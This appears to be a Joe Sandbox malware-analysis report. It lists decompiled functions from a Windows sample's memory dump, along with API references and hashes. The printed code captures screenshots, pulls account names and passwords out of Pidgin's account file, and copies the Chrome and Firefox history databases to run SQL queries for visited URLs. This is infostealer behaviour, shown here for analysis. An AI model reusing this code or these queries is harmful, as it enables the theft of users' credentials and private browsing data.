Instruction ID: 06a23872e8460c007548b42de0442a537cd71877075bfb16317ebbd4e879d901
Opcode Fuzzy Hash: c6d8730434dbc330e26cf7f014052777a241139f1a82d49c5bcfa5fb36d78824
Instruction Fuzzy Hash: 2D21E7546043D51ADB31297A0AC877A7B894A5B304B68087BD0C1BB3D7D4FE4C8B832D

Uniqueness

Uniqueness Score: 0.07%

Function 00416FD0, Relevance: 15.2, APIs: 10, Instructions: 162
windowUNIQUE

C-Code - Quality: 30%

			E00416FD0(int __eax, void* __ebx, int __ecx, int __edx, void* __edi, void* __esi, intOrPtr _a4, intOrPtr _a8, char _a12, int _a16) {
				int _v8;
				int _v12;
				int _v16;
				char _v20;
				char _v24;
				char _v28;
				void* _v32;
				struct HWND__* _v48;
				struct HWND__* _v52;
				struct HWND__* _v56;
				char _v60;
				intOrPtr _v124;
				char _v132;
				char _v148;
				char* _v152;
				intOrPtr _v156;
				intOrPtr _v160;
				void* _v176;
				char _v180;
				intOrPtr* _t78;
				struct HDC__* _t100;
				intOrPtr _t107;
				void* _t112;
				void* _t114;
				struct HDC__* _t116;
				struct HDC__* _t118;
				void* _t121;

				_v28 = 0;
				_v16 = __ecx;
				_v12 = __edx;
				_v8 = __eax;
				_push(_t121);
				_push(0x4171f7);
				_push( *[fs:eax]);
				 *[fs:eax] = _t121 + 0xffffff50;
				if( *0x41cb04 != 0 &&  *0x41cb08 != 0 &&  *0x41cb0c != 0 &&  *0x41cb10 != 0 &&  *0x41cb14 != 0 &&  *0x41cb18 != 0 &&  *0x41cb1c != 0 &&  *0x41cb20 != 0 &&  *0x41cb24 != 0 &&  *0x41cb28 != 0) {
					_v60 = 1;
					_v56 = 0;
					_v52 = 0;
					_v48 = 0;
					_push(0);
					_push( &_v60);
					_push( &_v20);
					if( *0x41cb08() == 0) {
						_t100 = GetDC(0);
						_t116 = CreateCompatibleDC(0);
						_t112 = CreateCompatibleBitmap(_t100, _v8, _v12);
						SelectObject(_t116, _t112);
						BitBlt(_t116, 0, 0, _v8, _v12, _t100, _v16, _a16, 0xcc0020);
						 *0x41cb24(0, 0xffffffff, E0040495C( &_v28));
						 *0x41cb10(_t112, 0,  &_v24);
						E00416EFC(_a8, _t100,  &_v148, _t112, _t116);
						_v180 = 1;
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						_t114 = _t112;
						_t118 = _t116;
						_v160 = 1;
						_v156 = 4;
						_v152 =  &_a12;
						 *0x41cb20(_v24, _v28,  &_v148,  &_v180);
						_t78 = _v28;
						 *((intOrPtr*)( *_t78 + 0x30))(_t78,  &_v132, 1);
						 *0x41cb28(_v28,  &_v32);
						GlobalFix(_v32);
						E004035D4(_a4, _v124, _v32);
						 *0x41cb1c(_v24);
						GlobalUnWire(_v32);
						DeleteObject(_t114);
						DeleteDC(_t118);
						ReleaseDC(0, _t100);
						 *0x41cb0c(_v20);
					}
				}
				_pop(_t107);
				 *[fs:eax] = _t107;
				_push(E004171FE);
				return E0040495C( &_v28);
			}

0x00416fde
0x00416fe1
0x00416fe4
0x00416fe7
0x00416fec
0x00416fed
0x00416ff2
0x00416ff5
0x00416fff
0x0041707a
0x00417081
0x00417088
0x0041708f
0x00417096
0x0041709b
0x0041709f
0x004170a8
0x004170b5
0x004170be
0x004170ce
0x004170d2
0x004170f2
0x00417104
0x00417111
0x00417120
0x00417125
0x0041713c
0x0041713d
0x0041713e
0x0041713f
0x00417140
0x00417141
0x00417142
0x0041714c
0x00417159
0x00417175
0x00417181
0x00417187
0x00417192
0x0041719c
0x004171ab
0x004171b4
0x004171be
0x004171c4
0x004171ca
0x004171d2
0x004171db
0x004171db
0x004170a8
0x004171e3
0x004171e6
0x004171e9
0x004171f6

APIs

GetDC.USER32(00000000), ref: 004170B0
CreateCompatibleDC.GDI32(00000000), ref: 004170B9
CreateCompatibleBitmap.GDI32(00000000,0041A232,?), ref: 004170C9
SelectObject.GDI32(00000000,00000000), ref: 004170D2
BitBlt.GDI32(00000000,00000000,00000000,0041A232,?,00000000,00000000,?,00CC0020), ref: 004170F2
GlobalFix.KERNEL32(?), ref: 0041719C
GlobalUnWire.KERNEL32(?), ref: 004171BE
DeleteObject.GDI32(00000000), ref: 004171C4
DeleteDC.GDI32(00000000), ref: 004171CA
ReleaseDC.USER32(00000000,00000000), ref: 004171D2

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID: CompatibleCreateDeleteGlobalObject$BitmapReleaseSelectWire
String ID:
API String ID: 914135935-0
Opcode ID: c98ac460d9aec4965d51a17cd1e49efe02cdd842e78125eb196d6cf9cfaad22f
Instruction ID: d8e405fcbd13f985ed7bb7b3625ce17cc52e98bbe45029a5e74dda917b66e948
Opcode Fuzzy Hash: c98ac460d9aec4965d51a17cd1e49efe02cdd842e78125eb196d6cf9cfaad22f
Instruction Fuzzy Hash: 6C51FFB1A44209AFDB11DF95EC85FEF77BCAB48305F104066F604E7291CB786A84CB69

Uniqueness

Uniqueness Score: 100.00%

Function 00401870, Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 48
memoryUNIQUE

C-Code - Quality: 67%

			E00401870() {
				signed int _t13;
				intOrPtr _t19;
				intOrPtr _t20;
				intOrPtr _t23;

				_push(_t23);
				_push(E00401926);
				_push( *[fs:edx]);
				 *[fs:edx] = _t23;
				_push("�[0");
				L004011C4();
				if( *0x41c035 != 0) {
					_push("�[0");
					L004011CC();
				}
				E00401234(0x41c5d4);
				E00401234(0x41c5e4);
				E00401234(0x41c610);
				 *0x41c60c = LocalAlloc(0, 0xff8);
				if( *0x41c60c != 0) {
					_t13 = 3;
					do {
						_t20 =  *0x41c60c; // 0x306428
						 *((intOrPtr*)(_t20 + _t13 * 4 - 0xc)) = 0;
						_t13 = _t13 + 1;
					} while (_t13 != 0x401);
					 *((intOrPtr*)(0x41c5f8)) = 0x41c5f4;
					 *0x41c5f4 = 0x41c5f4;
					 *0x41c600 = 0x41c5f4;
					 *0x41c5ac = 1;
				}
				_pop(_t19);
				 *[fs:eax] = _t19;
				_push(E0040192D);
				if( *0x41c035 != 0) {
					_push("�[0");
					L004011D4();
					return 0;
				}
				return 0;
			}

0x00401875
0x00401876
0x0040187b
0x0040187e
0x00401881
0x00401886
0x00401892
0x00401894
0x00401899
0x00401899
0x004018a3
0x004018ad
0x004018b7
0x004018c8
0x004018d4
0x004018d6
0x004018db
0x004018db
0x004018e3
0x004018e7
0x004018e8
0x004018f4
0x004018f7
0x004018f9
0x004018fe
0x004018fe
0x00401907
0x0040190a
0x0040190d
0x00401919
0x0040191b
0x00401920
0x00000000
0x00401920
0x00401925

APIs

RtlInitializeCriticalSection.KERNEL32([0,00000000,00401926,?,?,0040210A,?,?,?,?,?,00401AF9,00401D3F,00401D64), ref: 00401886
RtlEnterCriticalSection.KERNEL32([0,[0,00000000,00401926,?,?,0040210A,?,?,?,?,?,00401AF9,00401D3F,00401D64), ref: 00401899
LocalAlloc.KERNEL32(00000000,00000FF8,[0,00000000,00401926,?,?,0040210A,?,?,?,?,?,00401AF9,00401D3F,00401D64), ref: 004018C3
RtlLeaveCriticalSection.KERNEL32([0,0040192D,00000000,00401926,?,?,0040210A,?,?,?,?,?,00401AF9,00401D3F,00401D64), ref: 00401920

Strings

\z0, xrefs: 0040189E
,z0, xrefs: 004018B2
[0, xrefs: 00401881, 00401894, 0040191B
(d0, xrefs: 004018C8, 004018CD, 004018DB

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID: CriticalSection$AllocEnterInitializeLeaveLocal
String ID: (d0$,z0$\z0$[0
API String ID: 730355536-3171639836
Opcode ID: 099da0d79779097dabcbbe4e17eced4135313adf81f8614c79238fcf2f8b4282
Instruction ID: 5328ea8a61f1b3c3886908a4d7eb6976bfaff4b38786c7c23389d9dab3a387f7
Opcode Fuzzy Hash: 099da0d79779097dabcbbe4e17eced4135313adf81f8614c79238fcf2f8b4282
Instruction Fuzzy Hash: 06015BB0684390AEE719AB6A9C967957F92D749704F05C0BFE100BA6F1CB7D5480CB1E

Uniqueness

Uniqueness Score: 100.00%

Function 0040DE44, Relevance: 13.9, Strings: 11, Instructions: 116
UNIQUE

C-Code - Quality: 76%

			E0040DE44(char __eax, void* __ebx, void* __edi, void* __esi) {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				char _v56;
				void* _t103;
				void* _t104;
				intOrPtr _t129;
				void* _t135;
				void* _t136;
				intOrPtr _t138;
				intOrPtr _t139;

				_t136 = __esi;
				_t135 = __edi;
				_t103 = __ebx;
				_t138 = _t139;
				_t104 = 6;
				do {
					_push(0);
					_push(0);
					_t104 = _t104 - 1;
				} while (_t104 != 0);
				_push(_t104);
				_v8 = __eax;
				E00403980(_v8);
				_push(_t138);
				_push(0x40dfde);
				_push( *[fs:eax]);
				 *[fs:eax] = _t139;
				while(E00403AD4("<account>", _v8) != 0) {
					E004034E4( &_v12);
					E00403D88( &_v20, _v8);
					E00407400(L"<account>", _t103, L"</account>", _v20, _t136,  &_v16);
					E0040377C( &_v12, _v16);
					E00403D88( &_v32, _v12);
					E00407400(L"<name>", _t103, L"</name>", _v32, _t136,  &_v28);
					E0040377C( &_v24, _v28);
					E00403D88( &_v44, _v12);
					E00407400(L"<password>", _t103, L"</password>", _v44, _t136,  &_v40);
					E0040377C( &_v36, _v40);
					E00403D88( &_v56, _v12);
					E00407400(L"<protocol>", _t103, L"</protocol>", _v56, _t136,  &_v52);
					E0040377C( &_v48, _v52);
					E0040525C(0x40e0d0, _t103, _v48, "Pidgin", _t135, _t136, 0, _v36, _v24);
					E00403A30( &_v8, E00403AD4("</account>", _v8), 1);
				}
				_pop(_t129);
				 *[fs:eax] = _t129;
				_push(E0040DFE5);
				E00403BF4( &_v56, 2);
				E004034E4( &_v48);
				E00403BF4( &_v44, 2);
				E004034E4( &_v36);
				E00403BF4( &_v32, 2);
				E004034E4( &_v24);
				E00403BF4( &_v20, 2);
				return E00403508( &_v12, 2);
			}

0x0040de44
0x0040de44
0x0040de44
0x0040de45
0x0040de47
0x0040de4c
0x0040de4c
0x0040de4e
0x0040de50
0x0040de50
0x0040de53
0x0040de54
0x0040de5a
0x0040de61
0x0040de62
0x0040de67
0x0040de6a
0x0040df62
0x0040de75
0x0040de84
0x0040de96
0x0040dea1
0x0040deb0
0x0040dec2
0x0040decd
0x0040dee0
0x0040def2
0x0040defd
0x0040df12
0x0040df24
0x0040df2f
0x0040df41
0x0040df5d
0x0040df5d
0x0040df79
0x0040df7c
0x0040df7f
0x0040df8c
0x0040df94
0x0040dfa1
0x0040dfa9
0x0040dfb6
0x0040dfbe
0x0040dfcb
0x0040dfdd

Strings

<account>, xrefs: 0040DE91
<protocol>, xrefs: 0040DF1F
</account>, xrefs: 0040DF49
<account>, xrefs: 0040DF65
</protocol>, xrefs: 0040DF1A
<name>, xrefs: 0040DEBD
</account>, xrefs: 0040DE8C
Pidgin, xrefs: 0040DF37
<password>, xrefs: 0040DEED
</name>, xrefs: 0040DEB8
</password>, xrefs: 0040DEE8

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID: E4513
String ID: </account>$</account>$</name>$</password>$</protocol>$<account>$<account>$<name>$<password>$<protocol>$Pidgin
API String ID: 1918176781-1109931795
Opcode ID: 274e7bf331d624f57c2dba792b14bde3d4a6f4807511a37d3b017eb64e63649c
Instruction ID: 643b492b0bc37f63b19b1937ef72b6a512ae93603f9e7163f3949aedf138739d
Opcode Fuzzy Hash: 274e7bf331d624f57c2dba792b14bde3d4a6f4807511a37d3b017eb64e63649c
Instruction Fuzzy Hash: 2341F274A0001D9BCB01EB96C542ADEB7BDEF48305F50847BE411B7396D738EE068B99

Uniqueness

Uniqueness Score: 100.00%

Function 00412974, Relevance: 12.5, APIs: 3, Strings: 4, Instructions: 222
fileUNIQUE

C-Code - Quality: 49%

			E00412974(char __eax, void* __ebx, intOrPtr __edx, void* __edi, void* __esi) {
				char _v8;
				intOrPtr _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				char _v56;
				char _v60;
				char _v64;
				intOrPtr _v68;
				char _v72;
				char _v76;
				char _v80;
				char _v84;
				char _v88;
				char _v92;
				long _t73;
				WCHAR* _t86;
				intOrPtr* _t101;
				void* _t103;
				intOrPtr* _t105;
				intOrPtr* _t109;
				intOrPtr* _t138;
				void* _t140;
				intOrPtr* _t142;
				void* _t144;
				intOrPtr* _t152;
				intOrPtr* _t158;
				intOrPtr* _t164;
				void* _t166;
				void* _t178;
				intOrPtr _t198;
				intOrPtr _t200;
				intOrPtr _t213;
				intOrPtr _t217;
				intOrPtr _t218;
				void* _t219;
				void* _t220;

				_t215 = __esi;
				_t177 = __ebx;
				_t217 = _t218;
				_t178 = 0xb;
				do {
					_push(0);
					_push(0);
					_t178 = _t178 - 1;
					_t223 = _t178;
				} while (_t178 != 0);
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v12 = __edx;
				_v8 = __eax;
				_t3 =  &_v8; // 0x6f747365
				E00404150(_t3);
				_push(_t217);
				_push(0x412c41);
				_push( *[fs:eax]);
				 *[fs:eax] = _t218;
				_t4 =  &_v28; // 0x6f747351
				E00403BDC(_t4);
				_push(_t217);
				_push(0x412bb7);
				_push( *[fs:eax]);
				 *[fs:eax] = _t218;
				_t73 = GetTickCount();
				_t5 =  &_v60; // 0x6f747331
				E0040709C(_t73, __ebx, _t5, __esi, _t223);
				_push(_v60);
				_t7 =  &_v64; // 0x6f74732d
				E00406FDC(_t7, __ebx, __edi, __esi, _t223);
				_push(_v64);
				_push(L".tmp");
				E00403E78();
				_t10 =  &_v40; // 0x6f747345
				E004078D8(_v8, _t177, _t10, _t223);
				_t12 =  &_v72; // 0x6f747325
				E004062FC(L"%TEMP%", _t12, _t223);
				_push(_v72);
				_push(0x412c78);
				_push(_v32);
				E00403E78();
				_t17 =  &_v44; // 0x6f747341
				E004078D8(_v68, _t177, _t17, _t223);
				_t86 = E00403D98(_v44);
				CopyFileW(E00403D98(_v40), _t86, 0xffffffff);
				_t20 =  &_v76; // 0x6f747321
				E0040377C(_t20, _v44);
				_t23 =  &_v36; // 0x6f747349
				E00404B58(_v76, _t177, _t178, _t23, _t215, _t223);
				_t24 =  &_v80; // 0x6f74731d
				E00403D88(_t24, _v36);
				if(E0040776C(_v80, _t177, _t178) != 0) {
					_t101 =  *0x41b140; // 0x41ca20
					_t103 =  *((intOrPtr*)( *_t101))(E00403990(_v36),  &_v16);
					_t219 = _t218 + 8;
					__eflags = _t103;
					if(_t103 == 0) {
						_t138 =  *0x41b2d4; // 0x41ca28
						_t140 =  *((intOrPtr*)( *_t138))(_v16, "SELECT DATETIME( ((visits.visit_time/1000000)-11644473600),\"unixepoch\") , urls.title , urls.url FROM urls, visits WHERE urls.id = visits.url ORDER By  visits.visit_time DESC LIMIT 0, 10000", 0xffffffff,  &_v20,  &_v24);
						_t220 = _t219 + 0x14;
						__eflags = _t140;
						if(_t140 == 0) {
							while(1) {
								_t142 =  *0x41b384; // 0x41ca2c
								_t144 =  *((intOrPtr*)( *_t142))(_v20);
								__eflags = _t144 - 0x64;
								if(_t144 != 0x64) {
									goto L9;
								}
								E004034E4( &_v48);
								E004034E4( &_v52);
								E004034E4( &_v56);
								_t152 =  *0x41b1dc; // 0x41ca30
								E004036DC( &_v48,  *((intOrPtr*)( *_t152))(_v20, 0));
								_t158 =  *0x41b1dc; // 0x41ca30
								E004036DC( &_v52,  *((intOrPtr*)( *_t158))(_v20, 1));
								_t164 =  *0x41b1dc; // 0x41ca30
								_t166 =  *((intOrPtr*)( *_t164))(_v20, 2);
								_t220 = _t220 + 0x18;
								E004036DC( &_v56, _t166);
								_push(_v28);
								_push(0x412d40);
								E00403D88( &_v84, _v48);
								_push(_v84);
								_push(0x412d48);
								E00403D88( &_v88, _v52);
								_push(_v88);
								_push(0x412d54);
								E00403D88( &_v92, _v56);
								_push(_v92);
								_push(L"\r\n\r\n");
								E00403E78();
							}
						}
					}
					L9:
					_t105 =  *0x41b46c; // 0x41ca38
					 *((intOrPtr*)( *_t105))(_v20);
					_t109 =  *0x41b20c; // 0x41ca24
					 *((intOrPtr*)( *_t109))(_v16);
					_pop(_t198);
					 *[fs:eax] = _t198;
					E00403C18(_v12, _v28);
					DeleteFileW(E00403D98(_v44));
				} else {
					_pop(_t213);
					 *[fs:eax] = _t213;
				}
				_pop(_t200);
				 *[fs:eax] = _t200;
				_push(E00412C48);
				_t58 =  &_v92; // 0x6f747311
				E00403BF4(_t58, 4);
				_t59 =  &_v76; // 0x6f747321
				E004034E4(_t59);
				_t60 =  &_v72; // 0x6f747325
				E00403BF4(_t60, 4);
				_t61 =  &_v56; // 0x6f747335
				E00403508(_t61, 3);
				_t62 =  &_v44; // 0x6f747341
				E00403BF4(_t62, 2);
				_t63 =  &_v36; // 0x6f747349
				E004034E4(_t63);
				_t64 =  &_v32; // 0x6f74734d
				E00403BF4(_t64, 2);
				_t65 =  &_v8; // 0x6f747365
				return E00403BDC(_t65);
			}

0x00412974
0x00412974
0x00412975
0x00412977
0x0041297c
0x0041297c
0x0041297e
0x00412980
0x00412980
0x00412980
0x00412983
0x00412984
0x00412985
0x00412986
0x00412989
0x0041298c
0x0041298f
0x00412996
0x00412997
0x0041299c
0x0041299f
0x004129a2
0x004129a5
0x004129ac
0x004129ad
0x004129b2
0x004129b5
0x004129b8
0x004129bd
0x004129c0
0x004129c5
0x004129c8
0x004129cb
0x004129d0
0x004129d3
0x004129e0
0x004129e5
0x004129eb
0x004129f0
0x004129f8
0x004129fd
0x00412a00
0x00412a05
0x00412a10
0x00412a18
0x00412a1b
0x00412a25
0x00412a34
0x00412a39
0x00412a3f
0x00412a47
0x00412a4a
0x00412a4f
0x00412a55
0x00412a64
0x00412a80
0x00412a87
0x00412a89
0x00412a8c
0x00412a8e
0x00412aa7
0x00412aae
0x00412ab0
0x00412ab3
0x00412ab5
0x00412b7a
0x00412b7e
0x00412b85
0x00412b88
0x00412b8b
0x00000000
0x00000000
0x00412ac3
0x00412acb
0x00412ad3
0x00412ade
0x00412aef
0x00412afa
0x00412b0b
0x00412b16
0x00412b1d
0x00412b1f
0x00412b27
0x00412b2c
0x00412b2f
0x00412b3a
0x00412b3f
0x00412b42
0x00412b4d
0x00412b52
0x00412b55
0x00412b60
0x00412b65
0x00412b68
0x00412b75
0x00412b75
0x00412b7a
0x00412ab5
0x00412b91
0x00412b95
0x00412b9c
0x00412ba3
0x00412baa
0x00412baf
0x00412bb2
0x00412bc7
0x00412bd5
0x00412a66
0x00412a68
0x00412a6b
0x00412a6b
0x00412bdc
0x00412bdf
0x00412be2
0x00412be7
0x00412bef
0x00412bf4
0x00412bf7
0x00412bfc
0x00412c04
0x00412c09
0x00412c11
0x00412c16
0x00412c1e
0x00412c23
0x00412c26
0x00412c2b
0x00412c33
0x00412c38
0x00412c40

APIs

Part of subcall function 00404150: 77EE465A.OLEAUT32(SOFTWARE\Microsoft\Cryptography,?,0041A232,00406E86,?,?,00406F62,?,00000000,00406F6C,?,?,?,?,?,00406D2D), ref: 0040415E

Part of subcall function 00403BDC: 77EE4513.OLEAUT32(?,?,00406F3F,?,?,?,?,00406D2D,00000000,00406E52,?,?,?,00000006,00000000,00000000), ref: 00403BEA

GetTickCount.KERNEL32(00000000,00412BB7,?,00000000,00412C41,?,00000000,?,00000000,00000000,00000000,?,00412EC8,\History,?,00412FFC), ref: 004129B8
CopyFileW.KERNEL32(00000000,00000000,000000FF), ref: 00412A34

Part of subcall function 00403C18: 77EE7790.OLEAUT32(?,00406C70,00000002,00406BF5,?,00406D40,00000000,00406E52,?,?,?,00000006,00000000,00000000,?,0041874E), ref: 00403C2E

DeleteFileW.KERNEL32(00000000), ref: 00412BD5

Part of subcall function 00403BF4: 77EE4513.OLEAUT32(?,?,80000002,00406F1E,00406F26), ref: 00403C07

Strings

, xrefs: 00412B68
%TEMP%, xrefs: 004129F3
SELECT DATETIME( ((visits.visit_time/1000000)-11644473600),"unixepoch") , urls.title , urls.url FROM urls, visits WHERE urls.id = visits.url ORDER By visits.visit_time DESC LIMIT 0, 10000, xrefs: 00412A9E
.tmp, xrefs: 004129D3

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID: E4513File$CopyCountDeleteE465E7790Tick
String ID: $%TEMP%$.tmp$SELECT DATETIME( ((visits.visit_time/1000000)-11644473600),"unixepoch") , urls.title , urls.url FROM urls, visits WHERE urls.id = visits.url ORDER By visits.visit_time DESC LIMIT 0, 10000
API String ID: 1739629129-351388873
Opcode ID: a74abbfddc2a804f33b1bec9982cfac16ef433aeb40967b99aae19c4185634a2
Instruction ID: f70f4eb6c3a4d74226b28448a77a1ad81309a428455034dfd3705b2b32de383d
Opcode Fuzzy Hash: a74abbfddc2a804f33b1bec9982cfac16ef433aeb40967b99aae19c4185634a2
Instruction Fuzzy Hash: C7810B71A00109AFCB00EF95DD82EDEBBB8EF48305F504476F514F72A1DB78AA558B58

Uniqueness

Uniqueness Score: 100.00%

Function 0041253C, Relevance: 12.5, APIs: 3, Strings: 4, Instructions: 222
fileUNIQUE

C-Code - Quality: 43%

			E0041253C(char __eax, void* __ebx, intOrPtr __edx, void* __edi, void* __esi) {
				char _v8;
				intOrPtr _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				char _v56;
				char _v60;
				char _v64;
				intOrPtr _v68;
				char _v72;
				char _v76;
				char _v80;
				char _v84;
				char _v88;
				char _v92;
				WCHAR* _t86;
				intOrPtr* _t101;
				void* _t103;
				intOrPtr* _t105;
				intOrPtr* _t109;
				intOrPtr* _t138;
				void* _t140;
				intOrPtr* _t142;
				void* _t144;
				intOrPtr* _t152;
				intOrPtr* _t158;
				intOrPtr* _t164;
				void* _t166;
				void* _t178;
				intOrPtr _t198;
				intOrPtr _t200;
				intOrPtr _t213;
				intOrPtr _t217;
				intOrPtr _t218;
				void* _t219;
				void* _t220;

				_t215 = __esi;
				_t177 = __ebx;
				_t217 = _t218;
				_t178 = 0xb;
				do {
					_push(0);
					_push(0);
					_t178 = _t178 - 1;
					_t223 = _t178;
				} while (_t178 != 0);
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v12 = __edx;
				_v8 = __eax;
				E00404150( &_v8);
				_push(_t217);
				_push(0x412809);
				_push( *[fs:eax]);
				 *[fs:eax] = _t218;
				E00403BDC( &_v28);
				_push(_t217);
				_push(0x41277f);
				_push( *[fs:eax]);
				 *[fs:eax] = _t218;
				E0040709C(GetTickCount(), __ebx,  &_v60, __esi, _t223);
				_push(_v60);
				E00406FDC( &_v64, __ebx, __edi, __esi, _t223);
				_push(_v64);
				_push(L".tmp");
				E00403E78();
				E004078D8(_v8, _t177,  &_v40, _t223);
				E004062FC(L"%TEMP%",  &_v72, _t223);
				_push(_v72);
				_push(0x412840);
				_push(_v32);
				E00403E78();
				E004078D8(_v68, _t177,  &_v44, _t223);
				_t86 = E00403D98(_v44);
				CopyFileW(E00403D98(_v40), _t86, 0xffffffff);
				E0040377C( &_v76, _v44);
				E00404B58(_v76, _t177, _t178,  &_v36, _t215, _t223);
				E00403D88( &_v80, _v36);
				if(E0040776C(_v80, _t177, _t178) != 0) {
					_t101 =  *0x41b140; // 0x41ca20
					_t103 =  *((intOrPtr*)( *_t101))(E00403990(_v36),  &_v16);
					_t219 = _t218 + 8;
					__eflags = _t103;
					if(_t103 == 0) {
						_t138 =  *0x41b2d4; // 0x41ca28
						_t140 =  *((intOrPtr*)( *_t138))(_v16, "SELECT DATETIME(moz_historyvisits.visit_date/1000000, \"unixepoch\", \"localtime\"),moz_places.title,moz_places.url FROM moz_places, moz_historyvisits WHERE moz_places.id = moz_historyvisits.place_id ORDER By moz_historyvisits.visit_date DESC LIMIT 0, 10000", 0xffffffff,  &_v20,  &_v24);
						_t220 = _t219 + 0x14;
						__eflags = _t140;
						if(_t140 == 0) {
							while(1) {
								_t142 =  *0x41b384; // 0x41ca2c
								_t144 =  *((intOrPtr*)( *_t142))(_v20);
								__eflags = _t144 - 0x64;
								if(_t144 != 0x64) {
									goto L9;
								}
								E004034E4( &_v48);
								E004034E4( &_v52);
								E004034E4( &_v56);
								_t152 =  *0x41b1dc; // 0x41ca30
								E004036DC( &_v48,  *((intOrPtr*)( *_t152))(_v20, 0));
								_t158 =  *0x41b1dc; // 0x41ca30
								E004036DC( &_v52,  *((intOrPtr*)( *_t158))(_v20, 1));
								_t164 =  *0x41b1dc; // 0x41ca30
								_t166 =  *((intOrPtr*)( *_t164))(_v20, 2);
								_t220 = _t220 + 0x18;
								E004036DC( &_v56, _t166);
								_push(_v28);
								_push(0x412948);
								E00403D88( &_v84, _v48);
								_push(_v84);
								_push(0x412950);
								E00403D88( &_v88, _v52);
								_push(_v88);
								_push(0x41295c);
								E00403D88( &_v92, _v56);
								_push(_v92);
								_push(L"\r\n\r\n");
								E00403E78();
							}
						}
					}
					L9:
					_t105 =  *0x41b46c; // 0x41ca38
					 *((intOrPtr*)( *_t105))(_v20);
					_t109 =  *0x41b20c; // 0x41ca24
					 *((intOrPtr*)( *_t109))(_v16);
					_pop(_t198);
					 *[fs:eax] = _t198;
					E00403C18(_v12, _v28);
					DeleteFileW(E00403D98(_v44));
				} else {
					_pop(_t213);
					 *[fs:eax] = _t213;
				}
				_pop(_t200);
				 *[fs:eax] = _t200;
				_push(E00412810);
				E00403BF4( &_v92, 4);
				E004034E4( &_v76);
				E00403BF4( &_v72, 4);
				E00403508( &_v56, 3);
				E00403BF4( &_v44, 2);
				E004034E4( &_v36);
				E00403BF4( &_v32, 2);
				return E00403BDC( &_v8);
			}

0x0041253c
0x0041253c
0x0041253d
0x0041253f
0x00412544
0x00412544
0x00412546
0x00412548
0x00412548
0x00412548
0x0041254b
0x0041254c
0x0041254d
0x0041254e
0x00412551
0x00412557
0x0041255e
0x0041255f
0x00412564
0x00412567
0x0041256d
0x00412574
0x00412575
0x0041257a
0x0041257d
0x00412588
0x0041258d
0x00412593
0x00412598
0x0041259b
0x004125a8
0x004125b3
0x004125c0
0x004125c5
0x004125c8
0x004125cd
0x004125d8
0x004125e3
0x004125ed
0x004125fc
0x00412607
0x00412612
0x0041261d
0x0041262c
0x00412648
0x0041264f
0x00412651
0x00412654
0x00412656
0x0041266f
0x00412676
0x00412678
0x0041267b
0x0041267d
0x00412742
0x00412746
0x0041274d
0x00412750
0x00412753
0x00000000
0x00000000
0x0041268b
0x00412693
0x0041269b
0x004126a6
0x004126b7
0x004126c2
0x004126d3
0x004126de
0x004126e5
0x004126e7
0x004126ef
0x004126f4
0x004126f7
0x00412702
0x00412707
0x0041270a
0x00412715
0x0041271a
0x0041271d
0x00412728
0x0041272d
0x00412730
0x0041273d
0x0041273d
0x00412742
0x0041267d
0x00412759
0x0041275d
0x00412764
0x0041276b
0x00412772
0x00412777
0x0041277a
0x0041278f
0x0041279d
0x0041262e
0x00412630
0x00412633
0x00412633
0x004127a4
0x004127a7
0x004127aa
0x004127b7
0x004127bf
0x004127cc
0x004127d9
0x004127e6
0x004127ee
0x004127fb
0x00412808

APIs

Part of subcall function 00404150: 77EE465A.OLEAUT32(SOFTWARE\Microsoft\Cryptography,?,0041A232,00406E86,?,?,00406F62,?,00000000,00406F6C,?,?,?,?,?,00406D2D), ref: 0040415E

Part of subcall function 00403BDC: 77EE4513.OLEAUT32(?,?,00406F3F,?,?,?,?,00406D2D,00000000,00406E52,?,?,?,00000006,00000000,00000000), ref: 00403BEA

GetTickCount.KERNEL32(00000000,0041277F,?,00000000,00412809,?,00000000,?,00000000,00000000,00000000,?,00413182,\places.sqlite,?,004132B8), ref: 00412580
CopyFileW.KERNEL32(00000000,00000000,000000FF), ref: 004125FC

Part of subcall function 00403C18: 77EE7790.OLEAUT32(?,00406C70,00000002,00406BF5,?,00406D40,00000000,00406E52,?,?,?,00000006,00000000,00000000,?,0041874E), ref: 00403C2E

DeleteFileW.KERNEL32(00000000), ref: 0041279D

Part of subcall function 00403BF4: 77EE4513.OLEAUT32(?,?,80000002,00406F1E,00406F26), ref: 00403C07

Strings

, xrefs: 00412730
%TEMP%, xrefs: 004125BB
SELECT DATETIME(moz_historyvisits.visit_date/1000000, "unixepoch", "localtime"),moz_places.title,moz_places.url FROM moz_places, moz_historyvisits WHERE moz_places.id = moz_historyvisits.place_id ORDER By moz_historyvisits.visit_date DESC LIMIT 0, 10000, xrefs: 00412666
.tmp, xrefs: 0041259B

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID: E4513File$CopyCountDeleteE465E7790Tick
